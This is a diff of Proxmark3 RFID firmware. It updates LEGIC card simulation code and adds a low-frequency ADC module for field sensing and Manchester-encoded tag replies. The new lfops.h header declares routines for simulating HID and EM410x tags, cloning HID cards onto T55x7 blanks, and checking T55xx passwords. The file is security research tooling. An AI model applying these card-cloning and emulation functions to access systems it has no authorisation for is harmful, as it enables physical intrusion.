// (c) 2009 Henryk Plötz <henryk@ploetzli.ch>
// 2018 AntiCat
// 2020 iceman
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
@ -12,10 +13,13 @@
#ifndef __LEGICRF_H
#define __LEGICRF_H
#include "proxmark3.h"
#include "common.h"
#include "legic.h" /* legic_card_select_t struct */
void LegicRfInfo(void);
int LegicRfReaderEx(uint16_t offset, uint16_t len, uint8_t iv);
void LegicRfReader(uint16_t offset, uint16_t len, uint8_t iv);
void LegicRfWriter(uint16_t offset, uint16_t len, uint8_t iv, uint8_t *data);
legic_card_select_t* getLegicCardInfo(void);
#endif /* __LEGICRF_H */

View file

@ -9,13 +9,20 @@
//-----------------------------------------------------------------------------
// LEGIC RF simulation code
//-----------------------------------------------------------------------------
#include "legicrfsim.h"
#include "legicrf.h"
#include "ticks.h" /* timers */
#include "crc.h" /* legic crc-4 */
#include "legic_prng.h" /* legic PRNG impl */
#include "legic.h" /* legic_card_select_t struct */
#include "proxmark3_arm.h"
#include "BigBuf.h"
#include "fpgaloader.h"
#include "ticks.h"
#include "dbprint.h"
#include "util.h"
static uint8_t *legic_mem; /* card memory, used for sim */
static legic_card_select_t card;/* metadata of currently selected card */
static crc_t legic_crc;
@ -453,12 +460,12 @@ void LegicRfSimulate(uint8_t cardtype) {
// verify command line input
if (init_card(cardtype, &card) != 0) {
DbpString("Unknown tagtype.");
DbpString("[!] Unknown tagtype.");
goto OUT;
}
LED_A_ON();
DbpString("Starting Legic emulator, press button to end");
DbpString("[=] Starting Legic emulator, press " _YELLOW_("button") "to end");
while (!BUTTON_PRESS() && !data_available()) {
WDT_HIT();
@ -479,7 +486,7 @@ void LegicRfSimulate(uint8_t cardtype) {
}
OUT:
DbpString("Stopped");
DbpString("[=] Sim stopped");
switch_off();
StopTicks();
}

View file

@ -12,8 +12,8 @@
#ifndef __LEGICRFSIM_H
#define __LEGICRFSIM_H
#include "proxmark3.h"
#include "common.h"
void LegicRfSimulate(uint8_t tagtype);
void LegicRfSimulate(uint8_t cardtype);
#endif /* __LEGICRFSIM_H */

319
armsrc/lfadc.c Normal file
View file

@ -0,0 +1,319 @@
//-----------------------------------------------------------------------------
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// LF ADC read/write implementation
//-----------------------------------------------------------------------------
#include "lfadc.h"
#include "lfsampling.h"
#include "fpgaloader.h"
#include "ticks.h"
#include "dbprint.h"
// Sam7s has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS_TIMER_DIV1_CLOCK)
// TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz
// Carrier periods (T0) have duration of 8 microseconds (us), which is 1/125000 per second
// T0 = TIMER_CLOCK1 / 125000 = 192
//#define T0 192
// Sam7s has three counters, we will use the first TIMER_COUNTER_0 (aka TC0)
// using TIMER_CLOCK3 (aka AT91C_TC_CLKS_TIMER_DIV3_CLOCK)
// as a counting signal. TIMER_CLOCK3 = MCK/32, MCK is running at 48 MHz, so the timer is running at 48/32 = 1500 kHz
// Carrier period (T0) have duration of 8 microseconds (us), which is 1/125000 per second (125 kHz frequency)
// T0 = timer/carrier = 1500kHz/125kHz = 1500000/125000 = 6
//#define HITAG_T0 3
//////////////////////////////////////////////////////////////////////////////
// Global variables
//////////////////////////////////////////////////////////////////////////////
bool rising_edge = false;
bool logging = true;
bool reader_mode = false;
//////////////////////////////////////////////////////////////////////////////
// Auxiliary functions
//////////////////////////////////////////////////////////////////////////////
bool lf_test_periods(size_t expected, size_t count) {
// Compute 10% deviation (integer operation, so rounded down)
size_t diviation = expected / 10;
return ((count > (expected - diviation)) && (count < (expected + diviation)));
}
//////////////////////////////////////////////////////////////////////////////
// Low frequency (LF) adc passthrough functionality
//////////////////////////////////////////////////////////////////////////////
uint8_t previous_adc_val = 0;
uint8_t adc_avg = 0;
void lf_sample_mean(void) {
uint8_t periods = 0;
uint32_t adc_sum = 0;
while (periods < 32) {
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
adc_sum += AT91C_BASE_SSC->SSC_RHR;
periods++;
}
}
// division by 32
adc_avg = adc_sum >> 5;
if (DBGLEVEL >= DBG_EXTENDED)
Dbprintf("LF ADC average %u", adc_avg);
}
size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) {
size_t periods = 0;
volatile uint8_t adc_val;
uint8_t avg_peak = adc_avg + 3, avg_through = adc_avg - 3;
// int16_t checked = 0;
while (!BUTTON_PRESS()) {
// only every 100th times, in order to save time when collecting samples.
/*
if (checked == 1000) {
if (data_available()) {
break;
} else {
checked = 0;
}
}
++checked;
*/
WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
adc_val = AT91C_BASE_SSC->SSC_RHR;
periods++;
if (logging) logSampleSimple(adc_val);
// Only test field changes if state of adc values matter
if (wait == false) {
// Test if we are locating a field modulation (100% ASK = complete field drop)
if (detect_gap) {
// Only return when the field completely dissapeared
if (adc_val == 0) {
return periods;
}
} else {
// Trigger on a modulation swap by observing an edge change
if (rising_edge) {
if ((previous_adc_val > avg_peak) && (adc_val <= previous_adc_val)) {
rising_edge = false;
return periods;
}
} else {
if ((previous_adc_val < avg_through) && (adc_val >= previous_adc_val)) {
rising_edge = true;
return periods;
}
}
}
}
previous_adc_val = adc_val;
if (periods >= max) return 0;
}
}
if (logging) logSampleSimple(0xFF);
return 0;
}
size_t lf_count_edge_periods(size_t max) {
return lf_count_edge_periods_ex(max, false, false);
}
size_t lf_detect_gap(size_t max) {
return lf_count_edge_periods_ex(max, false, true);
}
void lf_reset_counter() {
// TODO: find out the correct reset settings for tag and reader mode
// if (reader_mode) {
// Reset values for reader mode
rising_edge = false;
previous_adc_val = 0xFF;
// } else {
// Reset values for tag/transponder mode
// rising_edge = false;
// previous_adc_val = 0xFF;
// }
}
bool lf_get_tag_modulation() {
return (rising_edge == false);
}
bool lf_get_reader_modulation() {
return rising_edge;
}
void lf_wait_periods(size_t periods) {
lf_count_edge_periods_ex(periods, true, false);
}
void lf_init(bool reader, bool simulate) {
StopTicks();
reader_mode = reader;
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
sample_config *sc = getSamplingConfig();
sc->decimation = 1;
sc->averaging = 0;
FpgaSendCommand(FPGA_CMD_SET_DIVISOR, sc->divisor);
if (reader) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD);
} else {
if (simulate)
// FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT);
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC);
else
// Sniff
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_TOGGLE_MODE);
}
// Connect the A/D to the peak-detected low-frequency path.
SetAdcMuxFor(GPIO_MUXSEL_LOPKD);
// Now set up the SSC to get the ADC samples that are now streaming at us.
FpgaSetupSsc();
// When in reader mode, give the field a bit of time to settle.
// 313T0 = 313 * 8us = 2504us = 2.5ms Hitag2 tags needs to be fully powered.
if (reader) {
// 10 ms
SpinDelay(10);
}
// Steal this pin from the SSP (SPI communication channel with fpga) and use it to control the modulation
AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT;
AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT;
LOW(GPIO_SSC_DOUT);
// Enable peripheral Clock for TIMER_CLOCK 0
AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0);
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS;
AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK;
// Enable peripheral Clock for TIMER_CLOCK 1
AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1);
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS;
AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK;
// Clear all leds
LEDsoff();
// Reset and enable timers
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG;
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG;
// Prepare data trace
uint32_t bufsize = 10000;
// use malloc
if (logging) initSampleBufferEx(&bufsize, true);
lf_sample_mean();
}
void lf_finalize() {
// Disable timers
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS;
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS;
// return stolen pin to SSP
AT91C_BASE_PIOA->PIO_PDR = GPIO_SSC_DOUT;
AT91C_BASE_PIOA->PIO_ASR = GPIO_SSC_DIN | GPIO_SSC_DOUT;
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
StartTicks();
}
size_t lf_detect_field_drop(size_t max) {
size_t periods = 0;
// int16_t checked = 0;
while (!BUTTON_PRESS()) {
/*
// only every 1000th times, in order to save time when collecting samples.
if (checked == 1000) {
if (data_available()) {
checked = -1;
break;
} else {
checked = 0;
}
}
++checked;
*/
WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
periods++;
volatile uint8_t adc_val = AT91C_BASE_SSC->SSC_RHR;
if (logging) logSampleSimple(adc_val);
if (adc_val == 0) {
rising_edge = false;
return periods;
}
if (periods == max) return 0;
}
}
return 0;
}
void lf_modulation(bool modulation) {
if (modulation) {
HIGH(GPIO_SSC_DOUT);
} else {
LOW(GPIO_SSC_DOUT);
}
}
// simulation
static void lf_manchester_send_bit(uint8_t bit) {
lf_modulation(bit != 0);
lf_wait_periods(16);
lf_modulation(bit == 0);
lf_wait_periods(32);
}
// simulation
bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len) {
LED_B_ON();
lf_manchester_send_bit(1);
lf_manchester_send_bit(1);
lf_manchester_send_bit(1);
lf_manchester_send_bit(1);
lf_manchester_send_bit(1);
// Send the content of the frame
for (size_t i = 0; i < frame_len; i++) {
lf_manchester_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1);
}
LED_B_OFF();
return true;
}

37
armsrc/lfadc.h Normal file
View file

@ -0,0 +1,37 @@
//-----------------------------------------------------------------------------
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// LF ADC read/write implementation
//-----------------------------------------------------------------------------
#ifndef __LFADC_H__
#define __LFADC_H__
#include "proxmark3_arm.h"
#include "common.h"
#include "cmd.h"
#include "util.h"
#include "string.h"
extern bool logging;
void lf_sample_mean(void);
bool lf_test_periods(size_t expected, size_t count);
size_t lf_count_edge_periods(size_t max);
size_t lf_detect_gap(size_t max);
void lf_reset_counter();
bool lf_get_tag_modulation();
bool lf_get_reader_modulation();
void lf_wait_periods(size_t periods);
//void lf_init(bool reader);
void lf_init(bool reader, bool simulate);
void lf_finalize();
size_t lf_detect_field_drop(size_t max);
bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len);
void lf_modulation(bool modulation);
#endif // __LFADC_H__

File diff suppressed because it is too large Load diff

69
armsrc/lfops.h Normal file
View file

@ -0,0 +1,69 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __LFOPS_H
#define __LFOPS_H
#include "common.h"
#include "pm3_cmd.h" // struct
extern uint8_t decimation;
extern uint8_t bits_per_sample ;
extern bool averaging;
void AcquireRawAdcSamples125k(int divisor);
void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint32_t period_1, uint8_t *command);
void ReadTItag(void);
void WriteTItag(uint32_t idhi, uint32_t idlo, uint16_t crc);
void AcquireTiType(void);
void AcquireRawBitsTI(void);
void SimulateTagLowFrequencyEx(int period, int gap, bool ledcontrol, int numcycles);
void SimulateTagLowFrequency(int period, int gap, bool ledcontrol);
void SimulateTagLowFrequencyBidir(int divisor, int max_bitlen);
void CmdHIDsimTAGEx(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool ledcontrol, int numcycles);
void CmdHIDsimTAG(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool ledcontrol);
void CmdFSKsimTAGEx(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol, int numcycles);
void CmdFSKsimTAG(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol);
void CmdASKsimTAG(uint8_t encoding, uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol);
void CmdPSKsimTAG(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol);
void CmdNRZsimTAG(uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol);
void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol);
void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); // Realtime demodulation mode for AWID26
void CmdEM410xdemod(int findone, uint32_t *high, uint64_t *low, int ledcontrol);
void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol);
void CopyHIDtoT55x7(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT); // Clone an HID card to T5557/T5567
void CopyVikingtoT55xx(uint8_t *blocks, uint8_t Q5);
void WriteEM410x(uint32_t card, uint32_t id_hi, uint32_t id_lo);
void T55xxResetRead(uint8_t flags);
//id T55xxWriteBlock(uint32_t data, uint8_t blockno, uint32_t pwd, uint8_t flags);
void T55xxWriteBlock(uint8_t *data);
// void T55xxWriteBlockExt(uint32_t data, uint8_t blockno, uint32_t pwd, uint8_t flags);
void T55xxReadBlock(uint8_t page, bool pwd_mode, bool brute_mem, uint8_t block, uint32_t pwd, uint8_t downlink_mode);
void T55xxWakeUp(uint32_t pwd, uint8_t flags);
void T55xx_ChkPwds(uint8_t flags);
void T55xxDangerousRawTest(uint8_t *data);
void TurnReadLFOn(uint32_t delay);
void EM4xReadWord(uint8_t addr, uint32_t pwd, uint8_t usepwd);
void EM4xWriteWord(uint8_t addr, uint32_t data, uint32_t pwd, uint8_t usepwd);
void Cotag(uint32_t arg0);
void setT55xxConfig(uint8_t arg0, t55xx_configurations_t *c);
t55xx_configurations_t *getT55xxConfig(void);
void printT55xxConfig(void);
void loadT55xxConfig(void);
#endif

Some files were not shown because too many files have changed in this diff Show more